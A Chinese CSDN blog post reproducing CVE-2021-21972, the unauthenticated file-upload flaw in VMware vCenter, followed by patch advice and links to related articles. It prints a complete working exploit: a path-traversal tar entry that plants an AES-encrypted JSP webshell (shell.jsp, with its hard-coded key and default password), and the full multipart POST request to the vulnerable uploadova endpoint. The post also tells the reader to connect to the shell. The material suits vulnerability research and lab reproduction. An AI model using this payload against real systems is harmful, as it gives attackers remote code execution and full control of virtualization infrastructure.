Vmware vcenter未授权任意文件上传(CVE-2021-21972)复现

最新推荐文章于 2024-09-14 07:48:47 发布
置顶 最新推荐文章于 2024-09-14 07:48:47 发布
阅读量3.6k 收藏 3
点赞数 1
分类专栏： 网络安全 漏洞复现 文章标签： 安全 vmware 信息安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_37602797/article/details/114109428
版权

 

Vmware vcenter未授权任意文件上传

(CVE-2021-21972 )

 

一、漏洞简介

 

VMware是一家云基础架构和移动商务解决方案厂商，提供基于VMware的虚拟化解决方案。

高危严重漏洞：

在 CVE-2021-21972 VMware vCenter Server 远程代码漏洞 中，攻击者可直接通过443端口构造恶意请求，执行任意代码，控制vCenter。

漏洞为任意文件上传:

存在问题的接口为

/ui/vropspluginui/rest/services/uploadova，

完整路径

（https://ip:port/ui/vropspluginui/rest/services/uploadova）

 

二、影响版本

VMware vCenter Server 7.0系列 < 7.0.U1c

VMware vCenter Server 6.7系列 < 6.7.U3l

VMware vCenter Server 6.5系列 < 6.5 U3n

VMware ESXi 7.0系列 < ESXi70U1c-17325551

VMware ESXi 6.7系列 < ESXi670-202102401-SG

VMware ESXi 6.5系列 < ESXi650-202102101-SG

 

三、环境准备&漏洞复现

 
 

安装EXSI 7.0.0 ​ VMware vSphere虚拟机监控程序（ESXi） 链接：https://cld16.irans3.com/dlir-s3/VMware-VMvisor-Installer-7.0.0-15843807.x86_64.iso VMware-VMvisor-Installer-7.0.0-15843807.x86_64.iso档案大小：350 MB MD5：220d2e87290f50c3508214cadf66b737 SHA1：7fda0401ee1b2f49aae89043f9b2d509cf7e25db 安装：https://blog.51cto.com/10802692/2409826 ​ 下载 vCenter Server ​ VMware vCenter Server 链接：https://cld5.irans3.com/dlir-s3/VMware-VCSA-all-7.0.0-15952498.iso VMware-VCSA-all-7.0.0-15952498.iso档案大小：6.42 GB MD5：94bb30ae83cd5f12e2eecce114d43007 SHA1：17aa2b1ee20e977fb4f8f8391563f57c3e456361 安装：https://blog.csdn.net/qq_38028248/article/details/107712839 （环境安装参考来源：作者: print("")师傅环境部署）

midi.tar（后台回复："vmware"）获取

 

 
 

../../usr/lib/vmware-vsphere-ui/server/work/deployer/s/global/42/0/h5ngc.war/resources/0000755000000000000000000000000014015431210027145 5ustar rootroot../../usr/lib/vmware-vsphere-ui/server/work/deployer/s/global/42/0/h5ngc.war/resources/shell.jsp0000644000000000000000000000117114015430711030777 0ustar rootroot<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位，默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}/*1kdnwbry2LyI7pyA*/%>

https://ip:port/ui/vropspluginui/rest/services/uploadova

 
 

Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36

 

 

 

返回sucess证明上传tar成功

访问shell地址：

https://127.0.0.1/ui/resources/shell.jsp

 

 

连接木马shell:

 

 

相关命令执行：

 

 

具体细节上传点：包

 
 

POST /ui/vropspluginui/rest/services/uploadova HTTP/1.1 Host: 127.0.0.1 Connection: close Accept: application/json Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryH8GoragzRFVTw1VD Content-Length: 10425 ​ ------WebKitFormBoundaryH8GoragzRFVTw1VD Content-Disposition: form-data; name="uploadFile"; filename="thelostworld.tar" Content-Type: text/plain ​ ../../usr/lib/vmware-vsphere-ui/server/work/deployer/s/global/42/0/h5ngc.war/resources/0000755000000000000000000000000014015431210027145 5ustar rootroot../../usr/lib/vmware-vsphere-ui/server/work/deployer/s/global/42/0/h5ngc.war/resources/shell.jsp0000644000000000000000000000117114015430711030777 0ustar rootroot<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位，默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}/*1kdnwbry2LyI7pyA*/%>

 

 

四、安全建议

 

1、升级VMware vCenter Server 与 VMware ESXi 至最新版本。

2、针对 CVE-2021-21972 VMware vCenter Server 远程代码漏洞 与 CVE-2021-21973 VMware vCenter Server SSRF漏洞，可按照 https://kb.vmware.com/s/article/82374 相关措施进行缓解。

3、针对 CVE-2021-21974 VMware ESXI 堆溢出漏洞，可按照 https://kb.vmware.com/s/article/76372 相关措施进行缓解。

 

参考：

https://swarm.ptsecurity.com/unauth-rce-vmware/

http://www.jsdjbh.gov.cn/tgyj/737.htm

http://blog.nsfocus.net/cve-2021-21972-cve-2021-21974/

https://mp.weixin.qq.com/s/tg64Hy8KECjYPHt98vBLcQ

https://www.o2oxy.cn/3127.html

https://mp.weixin.qq.com/s/q5EGqPNFVxfHgui54cAVuA

 

 

 

免责声明：本站提供安全工具、程序(方法)可能带有攻击性，仅供安全研究与教学之用，风险自负!

转载声明：著作权归作者所有。商业转载请联系作者获得授权，非商业转载请注明出处。

 

订阅查看更多复现文章、学习笔记

thelostworld

安全路上，与你并肩前行！！！！

 

 

个人知乎：https://www.zhihu.com/people/fu-wei-43-69/columns

个人简书：https://www.jianshu.com/u/bf0e38a8d400

个人CSDN：https://blog.csdn.net/qq_37602797/category_10169006.html

个人博客园：https://www.cnblogs.com/thelostworld/

FREEBUF主页：https://www.freebuf.com/author/thelostworld?type=article

语雀博客主页：https://www.yuque.com/thelostworld

 

 

欢迎添加本公众号作者微信交流，添加时备注一下“公众号”

 

 

 

CVE-2021-21972 Vmware vcenter未授权任意文件/RCE漏洞
战神/calmness的博客
02-25 1万+
目录 ​描述 据了解 安装环境 影响版本 过程分析 修复建议 临时修补建议 参考链接 描述 2021年02月24日，某些平台监测到 Vmware官方发布了vCenter Server安全更新，修复了vSphereClient (HTML5)在vCenter Server插件vRealizeOperations（vROps）中的一个远程代码执行漏洞（CVE-2021-21972）。VMware vCenter Server是美国威睿（VMware）公司的一套服务器和虚拟化管理软件。该.
VMware vCenter Server 任意文件上传漏洞复现 CVE-2021-22005
Ms08067安全实验室
11-06 6279
文章来源｜MS08067 “WEB攻防”知识星球本文作者：Taoing（WEB高级漏洞挖掘班讲师）追踪最新漏洞 认准Web星球1、漏洞描述2、漏洞影响3、环境搭建4、漏洞复现5、修复方案...
VMware vCenter Server远程代码执行漏洞复现 CVE-2021-21972
热门推荐
Ms08067安全实验室
08-18 1万+
文章来源｜MS08067安全实验室本文作者：Taoing（WEB高级攻防班讲师）0x00 漏洞描述CVE-2021-21972 vmware vcenter的一个未任意位置，然后执行web...
Vmware CVE-2021-21972漏洞复现
New Wh1te Hat
03-16 2747
一、漏洞简介 vSphere 是 VMware 推出的虚拟化平台套件，包含 ESXi、vCenter Server 等一系列的软件。其中 vCenter Server 为 ESXi 的控制中心，可从单一控制点统一管理数据中心的所有 vSphere 主机和虚拟机。 vSphere Client（HTML5） 在 vCenter Server 插件中存在一个远程执行代码漏洞。未授权的攻击者可以通过开放 443 端口的服务器向 vCenter Server 发送精心构造的请求，写入webshell，控制服务器
CVE-2021-21972 漏洞利用工具使用教程
最新发布
gitblog_00528的博客
09-14 790
CVE-2021-21972 漏洞利用工具使用教程 CVE-2021-21972 项目地址: https://gitcode.com/gh_mirrors/cve/CVE-2021-21972 ...
(复现)CVE-2021-21972 Vmware vcenter未授权任意文件上传导致RCE
daxi0ng的博客
06-29 1883
0x00 简介 vSphere 是 VMware 推出的虚拟化平台套件，包含 ESXi、vCenter Server 等一系列的软件。其中 vCenter Server 为 ESXi 的控制中心，可从单一控制点统一管理数据中心的所有 vSphere 主机和虚拟机，使得 IT 管理员能够提高控制能力，简化入场任务，并降低 IT 环境的管理复杂性与成本。 0x01 漏洞概述 vSphere Client（HTML5）在 vCenter Server 插件中存...
vCenter Server CVE-2021-21972复现
问题很多的小明
03-27 985
CVE-2021-21972复现 vmware:vcenter_server7.0 U1c <7.0 版本 vmware:vcenter_server6.7 U3l <6.7 版本 vmware:vcenter_server6.5 U3n < 6.5 版本 exp：git clone https://github.com/NS-Sp4ce/CVE-2021-21972.git
CVE-2021-21972
温和的跳跃
03-01 1114
新出来的cve要乘早。不然啥都没有了。 https://www.cnblogs.com/cn-gov/p/14461291.html 这个漏洞有好几种利用方式，（感觉通过代码审计找到的漏洞）主要的原因是 未授权上传漏洞，同时知道上传路径而且这个路径没有经过过滤就是可以目录穿越。还可以利用ssh连接https://swarm.ptsecurity.com/unauth-rce-vmware/ ...
CVE-2021-21972:CVE-2021-21972 VMware vCenter metasploit利用脚本中的未经授权的RCE
03-08
CVE-2021-21972 VMware vCenter metasploit利用脚本中的未经授权的RCE 准备 git clone https://github.com/TaroballzChen/CVE-2021-21972 cd CVE-2021-21972 mkdir -p ~ /.msf4/modules/exploits/multi/http cp * ~...
CVE-2021-21985 vCenter复现RCE
tesla889的博客
01-10 777
VMware在5月25日发布了CVE-2021-21985vCenter远程代码执行漏洞通告及修复版本，该漏洞允许未经身份认证的用户调用任意Bean里的任意方法，当调用一个恶意方法时会导致任意代码执行。
CVE-2021-21972：CVE-2021-21972漏洞利用
03-04
CVE-2021-21972 CVE-2021-21972 工作于 VMware-VCSA-all-6.7.0-8217866，VMware-VIM-all-6.7.0-8217866 :heavy_check_mark: VMware-VCSA-all-6.5.0-16613358 :heavy_check_mark: 对于vCenter6.7 U2 + vCenter 6.7U2 +在内存中运行网站，因此此Exp不适用于6.7 u2 +。 需要测试 vCenter 6.5 Linux（VCSA）/窗口等待测试 vCenter 6.7 Linux（VCSA）/窗口等待测试 vCenter 7.0 Linux（VCSA）/窗口等待测试 细节 突破为任意文件上传 存在问题的接口为/ui/vropspluginui/rest/services/uploadova ，完整路径（ https://domain.com/ui/vropspluginui/r
VMware_vCenter_UNAuthorized_RCE_CVE-2021-21972：VMware vCenter未授权RCE（CVE-2021-21972）
03-04
VMware_vCenter_UNAuthorized_RCE_CVE-2021-21972 zoomeye dork：app：“ VMware vCenter” 使用pocsuite3编写的无害检测 ，使用近一年的数据进行探测： 成功率大约：1551/3998 = 39％
CVE-2021-21972：CVE-2021-21972
03-04
CVE-2021-21972 描述 vSphere Client（HTML5）在vCenter Server插件中包含一个远程执行代码漏洞。 具有网络访问端口443的恶意行为者可能会利用此问题在托管vCenter Server的基础操作系统上以不受限制的特权执行命令。 这会影响VMware vCenter Server（7.0 U1c之前的7.x，6.7 U3l之前的6.7和6.5 U3n之前的6.5）和VMware Cloud Foundation（4.2.3之前的4.x和3.10.1.2之前的3.x）。 菜单 % python3 CVE-2021-21972.py -h Usage: CVE-2021-21972.py [options] Options: -h, --help show this help message and exit -i FILE
CVE-2021-21972:Nmap脚本检查漏洞CVE-2021-21972
03-05
CVE-2021-21972 用于检查漏洞CVE-2021-21972的Nmap脚本-vCenter Server RCE 漏洞参考： 例子 nmap -p443 --script cve-2021-21972.nse --script-args vulns.showall IP 学分 建立在Alex Hernandez aka 开发的脚本 :
CVE-2021-21972：适用于vCenter CVE-2021-21972的概念证明漏洞
03-04
CVE-2021-21972 vCenter CVE-2021-21972的概念证明利用 研究来源： : : 已在Windows和Unix vCenter VCSA目标上进行了测试。 用法 要良性地检查目标是否易受攻击，只需提供--target参数即可。 要利用此漏洞，请提供--file，-path和--operating-system标志。 将--file参数中提供的文件写入--path参数中指定的位置。 Windows目标： 通过将Webshel​​l cmdjsp.jsp上传到PtSwarm指示的/ statsreport端点进行了测试。 该Webshel​​l在NT AUTHORITY / SYSTEM的上下文中执行命令。 Unix目标： 该文件将在vsphere-ui用户的上下文中写入。 如果目标易受攻击，但利用失败，则可能是vsphere-ui用户没有写指定路径
CVE-2021-21972 vSphere Client RCE复现，附POC & EXP
qq_32660043的博客
02-25 1959
CVE-2021-21972 vSphere Client远程代码执行漏洞复现，附POC & EXP
CVE-2021-21972-vCenter-6_5-7_0-RCE POC
0xff
02-25 465
漏洞背景 CVE-2021-21972 vmware vcenter的一个未授权的命令执行漏洞。该漏洞可以上传一个webshell至vcenter服务器的任意位置，然后执行webshell即可。 自查poc 访问https://<VC-IP-or-FQDN>/ui/vropspluginui/rest/services/updateova 如果404，则代表不存在漏洞，如果200，或者405则代表存在漏洞 import requests import urllib3 from
vCenter 6.5-7.0 RCE 漏洞复现(CVE-2021-21972)附POC
内心不种满鲜花就会长满杂草
03-11 1万+
一. 漏洞介绍 vSphere 是 VMware 推出的虚拟化平台套件，包含 ESXi、vCenter Server 等一系列的软件。其中 vCenter Server 为 ESXi 的控制中心，可从单一控制点统一管理数据中心的所有 vSphere 主机和虚拟机。 2021年02月24日，某些平台监测到 Vmware官方发布了vCenter Server安全更新，修复了vSphereClient (HTML5)在vCenter Server插件vRealizeOperatio...
CVE-2021-21974复现
09-02
根据您提供的引用内容，CVE-2021-21974是与CVE-2021-21972相关的另一个漏洞。然而，根据提供的引用内容，我无法找到有关CVE-2021-21974复现的详细信息。建议您继续查找相关资料或参考引用中提供的链接以获取更多信息。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *3* [VMware多个高危漏洞通告](https://blog.csdn.net/weixin_45728976/article/details/114022429)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *2* [Vmware vcenter未授权任意文件上传(CVE-2021-21972)复现](https://blog.csdn.net/qq_37602797/article/details/114109428)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值